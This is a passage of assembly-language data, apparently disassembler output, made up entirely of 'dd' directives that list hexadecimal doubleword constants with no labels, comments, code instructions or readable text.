		dd 53056E7Ah, 7B2F2EE2h, 716180EEh, 8E0052F6h, 6F78C541h
		dd 21A3A2Ah, 0B9E20466h, 0C0DF4B0Bh, 0A78704h, 0FABDC5D8h
		dd 2B1135FCh, 237C7E03h, 0F8E6E120h, 90D39ACFh,	0FA890096h
		dd 0A2E4216h, 5300C15Eh, 3EAC78CCh, 0FE94BAh, 0E2055A15h
		dd 0E52237EDh, 0B9006CF4h, 74629FCh, 0FA3B648Dh, 0FF5E0023h
		dd 132D8B15h, 98009BD6h, 11F61888h, 1EB38712h, 0C17AEFEBh
		dd 222E164Ah, 2C8261CDh, 58F71E1Ch, 8903FC68h, 0A1161070h
		dd 0C9A371h, 22413821h,	1AF485F9h, 0EC8AEF0Ch, 8CCC4968h
		dd 0D634A979h, 24484015h, 52D7809Fh, 0EF962622h, 0B8C5ED00h
		dd 0AD161866h, 0F3A72893h, 3B67DF0h, 0A5336D69h, 7AAE5682h
		dd 9483DE5h, 0F2AFE15Dh, 7E9D006Ch, 89BBEA53h, 0A31D0330h
		dd 801937D1h, 53D4A621h, 0E0C10016h, 0F9D8291Dh, 9360FE47h
		dd 327891C0h, 0BA130F4Dh, 54C22358h, 3090E25Dh,	0E5115385h
		dd 968881BBh, 52CDFF80h, 5015B0F9h, 7E58801h, 69396EA7h
		dd 3A7DA016h, 0BA065E02h, 0E4616689h, 0E57064h,	29D084A9h
		dd 3435687Dh, 9FA7BE00h, 0AE94B0D9h, 0C78B00D6h, 83C4DDF8h
		dd 0C800D41Ch, 34AB57A3h, 0C2FB8Fh, 0E9242ACEh,	0C96D1FA6h
		dd 0A7A3CF00h, 116E4F63h, 1C080019h, 0B5AA9A35h, 403BA8EBh
		dd 69260058h, 56DE8A49h, 44F41Bh, 2AA325DCh, 7447D572h
		dd 69B9A807h, 0B1D7CFDFh, 93F7DA40h, 0D92C0089h, 74290364h
		dd 7100D259h, 0A6885A0Dh, 7F57F63Ah, 7E2C0F28h,	78033430h
		dd 18003ED4h, 0BC9219ABh, 3C9C1B1Dh, 9F9CF36Eh,	917680A2h
		dd 0A553A613h, 0AD00A874h, 931569CEh, 7653309h,	0E22639BDh
		dd 6B7B12ECh, 0DCFE10C1h, 0DD09C144h, 8E96B1FDh, 2A0A0017h
		dd 0F4660Dh, 761C3DC5h,	6BD6995Ah, 77AA1D0Eh, 292674Ch
		dd 707B4BE1h, 48D59CCh,	322369C4h, 0B91280A7h, 4E01C6C2h
		dd 949ACE74h, 3B31A271h, 0B19430h, 0C255C745h, 82FB1E4Eh
		dd 0AE0A370Eh, 52CC9FFEh, 1F5DC890h, 3CAB6693h,	86D43A07h
		dd 0F5F4A04Fh, 0B33A5381h, 49599D17h, 11C0E75Ch, 0B5E8656h
		dd 5C7A00D5h, 0F962FBFEh
		dd 1C001989h, 2BFF7924h, 0C79F8BA7h, 73205240h,	7DF0749Bh
		dd 0CBFE895Dh, 73AF9800h, 34284035h, 27DC05C1h,	80C64D94h
		dd 6049E89Bh, 9F00DE7Eh, 96EC225Bh, 71BC9Ch, 0FCEABB64h
		dd 0FBE11D2Fh, 0D58F0306h, 17485852h, 1AD2F6h, 0D1209372h
		dd 0C93E762Bh, 0A9360EA4h, 0AABC1347h, 0DA1F0F01h, 0ECADE9A6h
		dd 0F2003B03h, 0CE1A4FD9h, 1F3366BCh, 40441B02h, 0F65DB93Dh
		dd 6E0057EDh, 0DA6A404Dh, 33A0C8Ch, 9BFB43A6h, 33C05031h
		dd 40005668h, 0F718ED9h, 0ECF8AFEh, 11F0FA72h, 1FD7C080h
		dd 0B70084F4h, 0B13121D4h, 3B61410Ah, 8B0042C7h, 7FF91198h
		dd 0DC388997h, 49685F7h, 0F40035DFh, 264D1356h,	3D0F678h
		dd 5CC397FBh, 0ECC065D3h, 7400EEB7h, 160CFE1Ah,	7D0E604h
		dd 41251F9Dh, 7AAA60FDh, 37003D8Ah, 2F18EC68h, 50249F94h
		dd 2259C43h, 0E9983BDCh, 88AACBF1h, 99C001Ah, 75067B2Eh
		dd 0DA322700h, 1DDE85B8h, 371600F1h, 171B52B1h,	24003861h
		dd 187513E6h, 1F264433h, 4783CB68h, 40AD57B8h, 8258B423h
		dd 0C7EAB000h, 0A2EF9B2Eh, 96AC006Ch, 2A260FB1h, 71041C5Bh
		dd 77F4C3FBh, 517D097h,	4B434FE0h, 0F7C907C1h, 117015CFh
		dd 0E0CE0348h, 1EC7BEDh, 372AD800h, 7C89D5E6h, 46990018h
		dd 0D7402B14h, 1074221Ah, 2C8C70Fh, 201BA947h, 0AA609F14h
		dd 67E4D2h, 0CCA87708h,	0B4466E84h, 0FD46301h, 991E0765h
		dd 5651E8F3h, 4FC302F9h, 11DF060Dh, 7BFD4840h, 4CE73C3Ah
		dd 2D341F28h, 0A880FB1Fh, 0DA976495h, 3E7A142Bh, 0F5009002h
		dd 0CC45C02Eh, 1B704146h, 25909700h, 42B35094h,	5FD3139Eh
		dd 0CFA1057Dh, 380086B9h, 7F375200h, 0CDF384Ah,	8E25002Ah
		dd 485BB6BFh, 0DE303320h, 0D4B2827h, 7A807F6Dh,	32B01EA8h
		dd 1082C099h, 29D2506h,	24FC3A00h, 7CB1D65Dh, 74A80721h
		dd 0CC6764ADh, 4D031F58h, 118E7861h, 177AC039h,	7C6A0089h
		dd 0AE3CF1ACh, 38003D80h, 5F201F34h, 0B84D0F8Dh, 0A5F21443h
		dd 7C30A350h, 45B27B31h, 0B8232B00h, 0E6D99EB0h, 0B8C374C6h
		dd 3D4D0015h, 0BFCD0EF3h, 0C501390Ah, 2E861256h, 93E01F06h
		dd 27EF0008h, 0CF0F2078h, 4678D28Dh, 9A25D5Ch, 299BBFh
		dd 30AFCEFCh, 0D64E00AEh, 2256A88h, 14013124h, 0C05ACCC9h
		dd 0BAF48727h, 2C7B0703h, 0E0D354B9h, 4F80F2FFh, 0C7914400h
		dd 0D73BF95Ah, 0E9B50026h, 1CEE86D2h, 0E10C4946h, 98D6DF2Fh
		dd 0D9DA0044h, 173CE590h, 0C3001E57h, 31D7828Dh, 98BFAE40h
		dd 768C007Ch, 0C6A9FC03h, 6D24D443h, 0AE006835h, 18F0F974h
		dd 4628C03Dh, 0CC59E8F2h, 72F68507h, 8C20B6B5h,	481447h
		dd 3B57CF0Dh, 8981370Ah, 158E3Ch, 0E52F9AF0h, 4A32D380h
		dd 86DB003h, 0A41CC400h, 3CC2E3A3h, 76432684h, 437C1D8Ah
		dd 0B7EDBAAEh, 5353688h, 0C8777300h, 810B4F8Dh,	29F0E567h
		dd 58F8E3h, 4112A527h, 46ED1302h, 660EDF0Eh, 1CCB3CFDh
		dd 0AE9C2122h, 83C8D5C3h, 0AF2A0024h, 0E4EA820h, 0A200964Bh
		dd 0F5E4BD86h, 75AD95Dh, 5012F9B8h, 60A34053h, 0A6004A7Dh
		dd 58886465h, 6295Dh, 0B86A5087h, 0D2A2257Eh, 85613803h
		dd 25670C8h, 32A90520h,	286153AAh, 7691D0B8h, 66312307h
		dd 0D59057BDh, 1E41ED9h, 452E2C6Ch, 0F4A1399Ah,	930069E0h
		dd 6879BBAEh, 60AF2DB0h, 0E32C9407h, 0B101536Ah, 0FA6BD8E4h
		dd 39D890E5h, 78687C61h, 0F597078Fh, 0D0F4B9D2h, 0CD04D9E3h
		dd 0F27F1E03h, 804B49E6h, 321458h, 0CEEF4ACh, 0FB163080h
		dd 0AF38ED01h, 5F6A7406h, 0B999C0h, 6C692CADh, 0A2BEB309h
		dd 3E949748h, 489802Fh,	0B8F74DA3h, 0E0C53FA8h,	0C1FE3601h
		dd 30FFE1BFh, 1A0B43ECh, 30D065h, 7E5C2447h, 0EE3A0023h
		dd 0CDB91C9Fh, 8200C7C3h, 140580BAh, 513B2Ch, 78DAF81Eh
		dd 0EEF001DDh, 903FAE0h, 0D65BBA87h, 0DB89C8F9h, 20FB0072h
		dd 378574Ah, 140036C6h,	30EF4BFDh, 6FBED2h, 8584D60Ah
		dd 4C35700Bh, 61C421C0h, 0F45AE5D8h, 8F5001EAh,	0E2D35D7Ah
		dd 911424E9h, 3F63BC00h, 0A467EC35h, 0FE80E19h,	0FA205597h
		dd 0C86189A7h, 2CA8ED00h, 0A3D02BBAh, 46EF00CCh, 9B1E6326h
		dd 5400E197h, 7E15078Bh, 867775h, 7FD1E90Bh, 896A1079h
		dd 0DC9D2F0Fh, 7D9FA03Dh, 0C1344C6Fh, 62304280h, 0D5CC3056h
		dd 0B97A1D16h, 0A577E100h, 50CF7175h, 26E31074h, 6454C4Fh
		dd 282377B3h, 485894E6h, 62210F94h, 0E04963B2h,	0D2100340h
		dd 37BF158Ch, 7605BC7Fh, 0B7E84248h, 40CF9EC0h,	38A72AC1h
		dd 1D217E84h, 17EDCE8Ch, 3F5841ACh, 64EE0C45h, 14007D1Ch
		dd 566DA567h, 507CD64Fh, 1E87084Ch, 412F445Ch, 0CBD94658h
		dd 595C41EDh, 0D2518052h, 2F4A584Fh, 7014AEE4h,	0C8E0D8E3h
		dd 6A078377h, 0B6F71CE1h, 8FBE0EE0h, 0A31300DCh, 3B28E9D0h
		dd 0C8001A19h, 6285FAFFh, 518DB1h, 0B71ED70h, 0E0ABA932h
		dd 0F1163100h, 0EEF35F4h, 7107FC5Fh, 1E614h, 3E6DBCEEh
		dd 0D4A29DCDh, 0E7D67A01h, 8FE6C46Ch, 17FF5E4h,	0DB016169h
		dd 50069C25h, 40493E84h, 979FCB00h, 812BBF4Fh, 1EF700A3h
		dd 9EFBC360h, 33284939h, 7B00A81Ch, 344EE1D9h, 30288EC9h
		dd 0A6F1599Ch, 0A70563E0h, 3FCEAAB2h, 68B9C440h, 3CEB6176h
		dd 88003E16h, 0D2A9F1FFh, 70003197h, 0CF6D9BBAh, 55EE81h
		dd 167D40A5h, 0A6670390h, 0D0E79F8h, 0B648B147h, 78A4E507h
		dd 6227CA40h, 42A04B5Ch, 1A6AC32Ch, 0CDD78077h,	0C9FB917h
		dd 58231835h, 7FF47DA1h, 9B3DAD00h, 4E6280CFh, 795C9218h
		dd 0B5A60013h, 3F525F74h, 0FC010FD1h, 0B10AD7AFh, 7DEC570Bh
		dd 11680115h, 6D191AF7h, 95A050F1h, 48C02B8Fh, 5B720647h
		dd 0A64D0089h, 3D17F2D9h, 0A830706Dh, 0D14938F0h, 5D0607D7h
		dd 0B34BB5C5h, 22D02817h, 0B300DB1Eh, 3B5EC16Eh, 5BDE63h
		dd 23F366DAh, 3E214385h, 4C6C5900h, 1D164B3h, 71460082h
		dd 0DB51C69Eh, 170F4986h, 40BCBA53h, 2C6B48A5h,	2DC80FCAh
		dd 6A8110CEh, 30036731h, 0F40FBBC1h, 406CBF47h,	81D1DAA6h
		dd 1CA57B0Fh, 0C09EC41Ch, 0EE2E1921h, 1DEC6E3Bh, 0A6FAA7FCh
		dd 4C00ADFAh, 0DA481F24h, 1C73275h, 1386878Dh, 0E16D18A1h
		dd 970460DBh, 0F2C60F01h, 0D466396Fh, 463D094h,	0B3B8ABh
		dd 284484CFh, 0D5B1BB8Ch, 7E0618ADh, 1106C9Ch, 0F45FDBCh
		dd 60447ADCh, 0B2005DD9h, 146B2FFCh, 65EE67Fh, 8CBD63D9h
		dd 0B842291Fh, 6AD26E08h, 6F8E3210h, 0C6C2111h,	0DE512D73h
		dd 83911F3h, 1115C011h,	8615D6ADh, 2B702943h, 28423489h
		dd 763C854Dh, 1E961404h, 0A9422848h, 230224D0h,	9C44C4D5h
		dd 9AD34610h, 64AE50A1h, 0F015448Bh, 0E1E029C1h, 9CFC92C6h
		dd 3F561CBFh, 4CA6402Fh, 9B8ABE38h, 0FFE6FA90h,	0D5A7CC00h
		dd 0B75059A8h, 70BC7EE5h, 6841003Ah, 88BDE45Fh,	0C0CFFC8Dh
		dd 228560E7h, 1F0642EBh, 0CFE42695h, 0C3A02AFEh, 80166669h
		dd 0A7079973h, 838994CDh, 0C0F69FF2h, 3F8E406h,	0B8755CA0h
		dd 0AEC90DC3h, 8F89C8C1h, 884E9B00h, 0FDD28DD4h, 0B2766Fh
		dd 5814A235h, 0CF159693h, 9B0A6D00h, 0A33D366Eh, 0CB453EBBh
		dd 0C380AEB8h, 42DD18E6h, 880029DBh, 7BBE6A0Ch,	2F0133h
		dd 57529C02h, 0B2DA5C36h, 0FAD81001h, 62B10E93h, 788930h
		dd 4B999465h, 4551EC92h, 8C2CCF00h, 0F84E6C7Eh,	9CDE289Dh
		dd 566A0093h, 7C691693h
		dd 1E600C46h, 0BA82AD5Eh, 860D4C54h, 0D473D900h, 923AA8C6h
		dd 0BB00F9B0h, 0A13648FFh, 1B4BD91h, 51A47FBEh,	0C49C505Bh
		dd 674809A6h, 896D3A78h, 9B9138h, 10981B45h, 6ADF062Ch
		dd 0A2FE312Fh, 4A5FA21Eh, 0E9D17240h, 3CE36F81h, 0D8000908h
		dd 0ACBF896Ch, 5B006D29h, 841DDD3Ah, 523F37h, 4EBC1FB2h
		dd 3D7A39B9h, 0BA1C8100h, 9ED44CA5h, 0D8DC0790h, 20598636h
		dd 0AB296003h, 0C8757D00h, 0F0B213F2h, 12D90041h, 453A1BCFh
		dd 9700B4FDh, 56A165E5h, 0F820DA01h, 0BD310EB0h, 0C802C24h
		dd 0DED9BEBh, 42506800h, 1417C64Dh, 8CD0030h, 0C243615Ch
		dd 64F2A5E0h, 48896600h, 0AA598A06h, 2676073Ah,	300CA317h
		dd 98FFF9Fh, 0F9532900h, 53D2FA0h, 73190024h, 44E132AFh
		dd 9500500Fh, 9D11812h,	0EE11D7h, 40564A4h, 4A3DD9DEh
		dd 0E6B1D00h, 0D007765Dh, 0E6370002h, 0B9104B9Bh, 0ED00D908h
		dd 17EC56EEh, 0BACE0A4h, 2B52B0D2h, 6337E4E0h, 0E71E840Fh
		dd 33E18059h, 0F8FC5Ah,	0D10DDD11h, 0F4E6B480h,	0B8AC4F00h
		dd 0EBC32A8Bh, 0B27237h, 6BA50715h, 9A65C689h, 43B94B00h
		dd 0EE7EBE6Dh, 0E6DF0026h, 0E1FAFE48h, 717220DCh, 7997FF00h
		dd 0B935CF25h, 7878A1h,	0CB484D63h, 9F584FC1h, 0CEDB9B17h
		dd 50A2ACA0h, 15D0B8h, 5FED7932h, 0F6AA1CD1h, 0C0475000h
		dd 0C3951FDFh, 69B90387h, 464E0ACBh, 17D09DC3h,	60E49649h
		dd 97133D00h, 0C0D6B8E3h, 0FA9106BBh, 0E84A2310h, 8690FD54h
		dd 9442F206h, 184C1Ch, 67D9810Bh, 8E8B920Dh, 0A353826h
		dd 63018717h, 0EFC1DA53h, 4A4DA081h, 41E31EA9h,	0C4488FB0h
		dd 0CC3CF02Dh, 0B4DB00CBh, 0EE1211F5h, 0CEA700D8h, 70937B41h
		dd 0BB0014DFh, 472E51F0h, 1273A90Ch, 0B5552Ch, 0ED25456Ch
		dd 24E0F7D7h, 0F868A41Eh, 0C00E452h, 0A2E9214h,	931500C5h
		dd 205FA986h, 7900D809h, 0ECA52247h, 32F246h, 66B2FB12h
		dd 2059285Bh, 0B443D400h, 4070537Eh, 8EF7539h, 0B65BF196h
		dd 56810200h, 1BBB2h, 8B0FE0F0h, 65E1C27Eh, 0FCD25250h
		dd 0D6680900h, 0A679D347h, 58500A8h, 98C37F51h,	0D91ED114h
		dd 421CFEDEh, 886786C0h, 0EAD79Eh, 0B1540D4Eh, 0FFB22C91h
		dd 0A7965E05h, 0EC003B63h, 0A3BFF08Ch, 380C00DEh, 77B35C25h
		dd 18017CBAh, 0C4844D31h, 40F4598Ch, 0B075006Ah, 1D37D53Dh
		dd 2828741Bh, 8575BCFEh, 0CF7A7900h, 204EC267h,	66C8A8CDh
		dd 0D9310E62h, 9127CEF5h, 508D03E8h, 0FDC895EBh, 20329312h
		dd 0C0FA6049h, 30FB4Ah,	26CFEC9Ch, 0ED3A4552h, 0D6D26900h
		dd 9A441E36h, 0C2900022h, 5F5D9930h, 6900CEDDh,	508EEDADh
		dd 0AC915h, 0F1664298h,	4B5BB52Bh, 3BC62100h, 23C8DBD4h
		dd 0C74900CFh, 2F52FC26h, 0FF00484Ah, 7FD68D2h,	0A61E20h
		dd 3C77997Fh, 3D560911h, 32B68607h, 4751432Fh, 820E7EAh
		dd 0E6591F8Dh, 1E8CE44Fh, 3CD88242h, 1860EF5Ch,	0E20056F4h
		dd 0CAAF3D6Bh, 5DF7B4h,	238B8743h, 63B2DDC0h, 95EA8C00h
		dd 699141E3h, 829700DAh, 428D48EBh, 83003086h, 0A3774313h
		dd 0E5C9C5h, 57D58A58h,	75F81C2Dh, 0B03C2A7Fh, 70B86AAh
		dd 30A8641h, 0BC8BCC79h, 0BDF858F4h, 59007DD8h,	996D144Bh
		dd 689E8Eh, 1CC73752h, 0CFB5B279h, 0F79FE70Fh, 0EA12A73Fh
		dd 0D90AEBA0h, 0EDD0074Ah, 613C330Bh, 40C18388h, 39CF3EB4h
		dd 0DBAE7107h, 73605482h, 94B64DEh, 0D5E856A6h,	0C78A5420h
		dd 0C000DB52h, 0BB46A239h, 0E6376996h, 0B5EA0001h, 4BF893BAh
		dd 0AC00877Ah, 0A0F5CB19h, 4C5D0F5Ah, 0E90908E6h, 4C80D9A8h
		dd 0CF4A94FDh, 0F6726E00h, 4DA531ACh, 0DDCD00A1h, 0E7C038C7h
		dd 0F41E4355h, 30C05DE6h, 0DA0737FBh, 23660046h, 48FD583Ch
		dd 67008FD4h, 17DC4ACCh, 36805CAh, 227532C8h, 14C9A395h
		dd 6F99E37Ah, 0F49DC861h, 2B13B700h, 64AB0677h,	0C0BD0024h
		dd 8734117Bh, 8FFCA0A3h, 4AF23D58h, 0B33B06BCh,	0E8F2D900h
		dd 0A127E073h, 5B1D78E8h, 0FDDD32h, 0FC4BD558h,	8764DBh
		dd 1BF8F155h, 197D97EEh, 0B06A675h, 0D8BBB069h,	0F95800FAh
		dd 6484E826h, 5A01F60Ah, 0E408BD6Eh, 0A8211BAAh, 52BE30h
		dd 0CDE5DD86h, 5D93A362h, 0E1108700h, 96D776D9h, 51F00Ah
		dd 1EF14643h, 0A7DFD51Ch, 0CD5F7700h, 0A83EA416h, 0EFBC00FFh
		dd 0AF7AB4D7h, 26018B60h, 47BACFD0h, 0F07E78B7h, 41007797h
		dd 2D6CBF10h, 0F5AF59Bh, 0B1AED1F0h, 900C007Eh,	9167988Dh
		dd 0A357DA07h, 41B037FDh, 1DB9FCD5h, 0C071EBC8h, 1F176E06h
		dd 0CD00F99Bh, 24E41590h, 3D3EBF7Ch, 0E1C83BC9h, 0EA1F700h
		dd 95AA0651h, 94376100h, 422AC2D1h, 289E7229h, 0F4F4F54Ch
		dd 5B530020h, 0B5261F1h, 7F008083h, 400DA014h, 0AB4FA5h
		dd 6AC837DEh, 0C26C514Dh, 2B5F9100h, 3302881h, 3F7D05EAh
		dd 0E90D56h, 0D2A874F8h, 4200DF87h, 6CA1205Ah, 949C5D9h
		dd 4AEF81BFh, 0B1E3D200h, 2001AFAh, 77E6420Eh, 18515Eh
		dd 0FEB9D247h, 8AB7D84Eh, 21715500h, 0EB7AE54Ch, 1431EEBEh
		dd 0AAE20923h, 0B0A05D00h, 59BBA6ABh, 83BFE900h, 53E8DF3Ah
		dd 3163073Fh, 402EE4A0h, 0EC6ED618h, 0F601FF7Bh, 4CA3D0B6h
		dd 0EFC82C45h, 347BFCh,	0C11D57DEh, 69FB53B3h, 0FDB2771Eh
		dd 0A3671C40h, 7665FEh,	10611F9Dh, 386F0D70h, 32A8BA00h
		dd 6C420589h, 2C9006h, 22E56D30h, 5DA2CEA9h, 0F0484C00h
		dd 0AEDACC23h, 67401D41h, 0CD0D8FFDh, 25F31820h, 74003349h
		dd 4B7234F4h, 9ECB12Fh,	843B3D4Dh, 80AECB04h, 0B40B622Ch
		dd 0C3E31300h, 5F619611h, 0FC3C00C5h, 0C1A1214h, 6DB8E6C7h
		dd 0B579E02Eh, 67479030h, 4FF62639h, 902500C0h,	9B66663h
		dd 89000E70h, 834E852Ah, 0A16958h, 0AF91E556h, 0BAD5956Ah
		dd 7A245D0Fh, 4AC2C05Fh, 4BEED02h, 0D16EA3E5h, 0D76AC020h
		dd 4F00CB12h, 0D529BCF2h, 9A6856h, 0EAE9BFF3h, 361C1718h
		dd 4C4EB900h, 420BD965h, 0CC903A83h, 8FAC890Fh,	12DF9A40h
		dd 7400A334h, 990DC19Eh, 7A58B01h, 0EE59C4E7h, 4D5861D9h
		dd 8E8DECF8h, 0A6D75100h, 0CEBC4605h, 0A07AF616h, 7819CCB4h
		dd 42A803DAh, 5CC46CA0h, 8FEF801h, 156DB0F9h, 0CCA560h
		dd 12A49FB1h, 892941E1h, 0B9948000h, 0E4920149h, 0E2FB390Dh
		dd 9657FC80h, 2AC0D5F0h, 2CF37500h, 0C5B19439h,	17C09890h
		dd 0F1E035h, 7A02E41Ch,	67007862h, 0A5F6C22Bh, 70DEB534h
		dd 0ACDA0156h, 7C04124h, 9FFF303Ch, 658F4500h, 3B621B42h
		dd 0F8D53955h, 0FE8EBBh, 9A548573h, 0B132C6C1h,	7C843Bh
		dd 0F2918966h, 31EC10h,	44DF0848h, 8D0D647Ah, 0B1264F00h
		dd 5B10DB42h, 1CD1013Eh, 2E77307h, 166FF0FCh, 8A97A200h
		dd 0A7047B47h, 44350058h, 344F2B41h, 6D00F148h,	312D80DBh
		dd 0BAAFA56h, 9F1CCE33h, 1A63E100h, 0E300244Fh,	475983B7h
		dd 106AB05h, 0D4E69E12h, 80AE182Eh, 0BDE39710h,	0E0959B74h
		dd 0CE23391Eh, 5BBB7780h, 0C97825CCh, 6926B502h, 0E8D63DE3h
		dd 0F6A9BC10h, 0E7600B3h, 0E8F14D88h, 100B2B8h,	0E6299D32h
		dd 3FB8C51h, 3881CB71h,	8FE89336h, 0AB492CFFh, 1A238004h
		dd 63885Fh, 0A2B5280h, 0D87B0BC9h, 283EB603h, 0A057CD49h
		dd 9AD64F3Bh, 731F0918h, 0FCFC8D71h, 0CB000826h, 0D29DEF23h
		dd 0B746006Dh, 0A40AD940h, 1E003F6Ah, 0D33D9C66h, 88E650h
		dd 0AB91CF1Ah, 0D17A198Eh
		dd 7B4C6500h, 475AA36Fh, 0FFD33D0Dh, 3E97F581h,	0F9CA414Bh
		dd 33D02087h, 3D22170Fh, 0DE6D808Bh, 125F7942h,	40E8BE2Eh
		dd 258A6867h, 0BD00CFFFh, 0EE306EDEh, 0AFC562h,	39110D4Eh
		dd 5CC66999h, 9A909C00h, 4441599Dh, 818B16BEh, 0C9004048h
		dd 25AEADA8h, 0B5C56100h, 0BFB0C8ABh, 2E28004Ch, 845CF81Fh
		dd 82E70BDh, 8BED898h, 87EB88E7h, 0E0012A37h, 0B7EAA4D7h
		dd 9852D02Ah, 76AD401Dh, 9394A380h, 1CBEE33Ch, 47D4A8C4h
		dd 20A75510h, 0E2442811h, 0C731EF00h, 966F3AA1h, 3C909Ah
		dd 0ADF40B9Bh, 0A5096950h, 0BC899200h, 0B9054DC3h, 38B05Dh
		dd 0A6360E1Bh, 2ABB4833h, 77BE6700h, 0A7D9A064h, 0D02C48B8h
		dd 0F8632Eh, 4ED9A7Fh, 210088C1h, 97845A86h, 17C5CAE5h
		dd 0DF1CD2h, 22CFDB60h,	2900067Ch, 8FFC43B1h, 0E1805Ch
		dd 449FE60Dh, 1D3BF660h, 0ED04BC7Ah, 194B1551h,	7E34ACC1h
		dd 7FB370h, 82836507h, 0B667BC73h, 97610400h, 1E897606h
		dd 66A100F3h, 0BD790DD2h, 0A90087FFh, 84E52E78h, 275B4885h
		dd 54008F91h, 0C68B6D7Bh, 0D4AFB026h, 0FC518300h, 3EE7E317h
		dd 3C80259Bh, 0B8AB3954h, 0B10F53A0h, 0C04D7487h, 7A262320h
		dd 0CDF102F7h, 0C6FE6ADCh, 0AA2C04C0h, 44A7E500h, 0A2A5C152h
		dd 0B1D84C87h, 8312B558h, 4F04C0F5h, 9D50227Ah,	9FFE05FCh
		dd 49BC8C04h, 4042E9AFh, 9DC336D8h, 8F3069B8h, 0C8048h
		dd 5CC1F093h, 16CE742Ch, 159A239h, 0FA0F5F38h, 0A948D835h
		dd 2F9F4401h, 908EF911h, 0D3023073h, 0CB059846h, 30E2405Fh
		dd 0AF3D3DFCh, 2BDE4482h, 60404AA1h, 133A59B5h,	0A9CC009Dh
		dd 0CA066B8Bh, 0C3F6004Bh, 32683C87h, 1300E60Eh, 0F1796C1Dh
		dd 0E45EA57Eh, 56EC03BFh, 8726B15h, 0FCCD98B9h,	170088CBh
		dd 61A4DB28h, 1540ECCh,	168D91C1h, 24EDAF13h, 0D6EE5FF0h
		dd 0ECEA4A00h, 70BC52B9h, 90314964h, 0ED204503h, 4290AF7Fh
		dd 81050469h, 4BA63999h, 0C0E7B891h, 8700043Ch,	9E5572DDh
		dd 62005FCEh, 83A2EB14h, 0AD3DACh, 9F63A835h, 207CCBA0h
		dd 0C5968809h, 0E72C80C7h, 1C6B55h, 0D8D0093Dh,	0DA9DEADCh
		dd 0C030FE07h, 9863A841h, 718B904Fh, 0E8E2001Ah, 0E42BB3F9h
		dd 0F5E64681h, 257F809h, 1D4080C3h, 0FD6CF340h,	61D77300h
		dd 91E24Ch, 388F98AEh, 0F0E89Eh, 8394ACA8h, 5DE4DD2Fh
		dd 197D8E12h, 80A164C0h, 720B27EEh, 5C93B010h, 285B5639h
		dd 7E09E0ACh, 0C094434Ch, 2C0EF5Ch, 0E1D9FAA8h,	0B9C0D2CAh
		dd 500602Ch, 0B53D6BB6h, 18469ED4h, 590C522Ah, 0F40202D2h
		dd 77BC7133h, 9830E323h, 3ED07C1h, 85085A1Bh, 55F9F10Dh
		dd 0EAD0300Bh, 0F38298C0h, 24084403h, 0CD801A3h, 9389A612h
		dd 20E1D807h, 0A03F4E40h, 0E2A1ACBFh, 0B23201B9h, 10FFAA84h
		dd 16DC30ABh, 980F4100h, 9C3E9658h, 57110C6h, 7C1F01E9h
		dd 80974356h, 774ED2ECh, 0ACC20065h, 20BE4DF4h,	0CE0E7E2Bh
		dd 0C0C95359h, 0CDB9CB0Fh, 97E20054h, 0B21C0728h, 0E71669F4h
		dd 0CE0A9AA8h, 52049CABh, 93213D8Fh, 0E6B181FCh, 0BA82A110h
		dd 0B76930h, 0FF1B6F8Eh, 0B835276Ah, 6D59F41Eh,	0D180F69Fh
		dd 0C9603D7Bh, 0F81D2404h, 1C2E0024h, 2E65F49h,	0F7675100h
		dd 4CF2FC0Ch, 0FF1E00A9h, 1FA41C0Fh, 170064EAh,	14404367h
		dd 32B8C83h, 79471286h,	8EB2851Ah, 0E836D280h, 7800BD4Ah
		dd 0DEFA0AC7h, 1E472559h, 5C5428Ah, 2788A3C2h, 0D7E9204Ch
		dd 0B90EA139h, 8082925Fh, 90FB2365h, 9BD12481h,	0FD880FACh
		dd 8802BF85h, 8C0EACFCh, 393CEEh, 0B1A5E215h, 277D0BE7h
		dd 0C825E91Dh, 23AC53h,	0E637010Ch, 7A1F548Eh, 0C81417BCh
		dd 260402BEh, 64C4CC83h, 38FDB22Eh, 5B00D020h, 2BB7C4E0h
		dd 571227h, 882C4025h, 8F651F04h, 5A070E00h, 0EB4895F6h
		dd 30561CC8h, 9F74DF42h, 92825F87h, 0F0C04DFh, 71EC88BDh
		dd 33EC8426h, 42B75F02h, 20F180ABh, 1E16D6F9h, 80C09ED5h
		dd 68F85628h, 0D10FDB0Eh, 2EC1FDC3h, 8BA180CCh,	174B979h
		dd 113C0D7Dh, 70692065h, 33029D15h, 0EE4781FDh,	88386889h
		dd 0FEB900F0h, 86CF1395h, 0AD7FF6B8h, 0AF0BE470h, 985C2DA2h
		dd 2C515708h, 7F4B42h, 6BAD7EBDh, 683E5089h, 11E780CEh
		dd 1D1F7ADDh, 88291D20h, 0A89741EFh, 0F093FE28h, 9F0059EBh
		dd 54D8F9CEh, 59C76CAh,	0A46FA90Fh, 51388092h, 431D4281h
		dd 0B5007E5Fh, 7DCA59D1h, 61C008Bh, 8D15E70Bh, 630CEA85h
		dd 6923294Ah, 2761004Bh, 0AFA3257Bh, 9100FBBBh,	8384B012h
		dd 958A4EECh, 0D488FF78h, 0B4FE2235h, 9694743Dh, 9F9Eh
		dd 4DCFE603h, 24FA0E91h, 78E0BD1Ch, 0C10E504Eh,	0E62C220Fh
		dd 2845A4C0h, 0C3D71FFEh, 8E4C731Eh, 0A063B780h, 0AC4AE628h
		dd 1B2FDE0Fh, 22FBA110h, 1C30DA34h, 0C7AB0004h,	2175C876h
		dd 0EA0019B3h, 2DFB72A7h, 0ADED18h, 0D78AB15Eh,	15B5E675h
		dd 19B25301h, 97A71AEBh, 3E95CBD4h, 6B007905h, 1CEC09E1h
		dd 1E01B8F2h, 0FB065BEBh, 23C17A3Ch, 5E98AD0h, 0D9C4A06Fh
		dd 0CD5DC04Fh, 1600F497h, 0E3727518h, 0B9D650h,	0B2D4A947h
		dd 0E9D7F01h, 0BB8AF404h, 3880C196h, 0DD5E81h, 350A973Ch
		dd 0B205B11Eh, 9F86318h, 0F0719A10h, 8B74C4Eh, 5ED0DB02h
		dd 0E5E0445Fh, 0A602F4C2h, 1AD84CA1h, 0A56CC994h, 1FFFA820h
		dd 805F1BB5h, 3B0FFC34h, 73039FB4h, 631D188Fh, 0E140C878h
		dd 5F2116F3h, 5898002Bh, 0AE016D6Eh, 54633Bh, 9CA702D3h
		dd 239F9Ah, 0F125761Eh,	4294C151h, 913F9D00h, 92D90878h
		dd 0FA685054h, 0AAD40053h, 0CCBDA187h, 396EFF4Ah, 0B9A680E8h
		dd 7E34C391h, 89BA07F2h, 0FEC0D732h, 0B2850013h, 0DB894AAh
		dd 583F3000h, 4EB40E2Fh, 0FFCD07CEh, 70775A7Ah,	96394516h
